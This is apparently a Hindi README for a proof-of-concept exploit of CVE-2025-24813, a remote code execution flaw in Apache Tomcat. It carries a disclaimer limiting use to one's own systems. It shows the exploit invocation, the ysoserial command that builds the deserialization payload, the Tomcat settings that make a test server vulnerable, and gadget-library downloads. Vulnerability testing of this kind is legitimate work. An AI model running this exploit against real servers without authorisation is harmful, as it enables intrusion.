
CVE-2025-24813 Apache Tomcat RCE प्रूफ ऑफ कॉन्सेप्ट (PoC)
Apache Tomcat में CVE-2025-24813, एक रिमोट कोड एक्जीक्यूशन (RCE) भेद्यता के लिए PoC।
महत्वपूर्ण: यह PoC केवल आपके स्वयं के वातावरण का परीक्षण करने या शैक्षिक उद्देश्यों के लिए है। इस PoC का उपयोग बिना उचित प्राधिकरण के सिस्टम का शोषण करने के लिए करना प्रतिबंधित है और अवैध हो सकता है। इस PoC के निर्माता और वितरक किसी भी दुरुपयोग या हुई क्षति के लिए जिम्मेदार नहीं हैं। किसी भी ऐसे वातावरण का परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें जो आपके स्वामित्व में नहीं है।
python3 CVE-2025-24813.py --url <target_url>
कोड में पहले से ही ysoserial (https://github.com/frohoff/ysoserial) से उत्पन्न एक base64 एन्कोडेड पेलोड है जो /tmp में एक फ़ाइल RCE-success बनाता है, इस प्रकार:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
PUT / राइट एक्सेस सक्षम करें
$CATALINA_HOME/conf/web.xml में संपादित करें और default सर्वलेट नाम अनुभाग के अंतर्गत readonly पैरामीटर जोड़ें तथा इसे false पर सेट करें।
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
सेशन पर्सिस्टेंस सक्षम करें
$CATALINA_HOME/conf/context.xml में संपादित करें और निम्नलिखित सेटिंग जोड़ें। <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp में संपादित करें और सुनिश्चित करें कि सेशन के लिए डिफ़ॉल्ट सेटिंग "false" न हो या बस इसे हटा दें। <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
या
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
निर्भरताएँ $CATALINA_HOME/lib/ में डाउनलोड करें
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409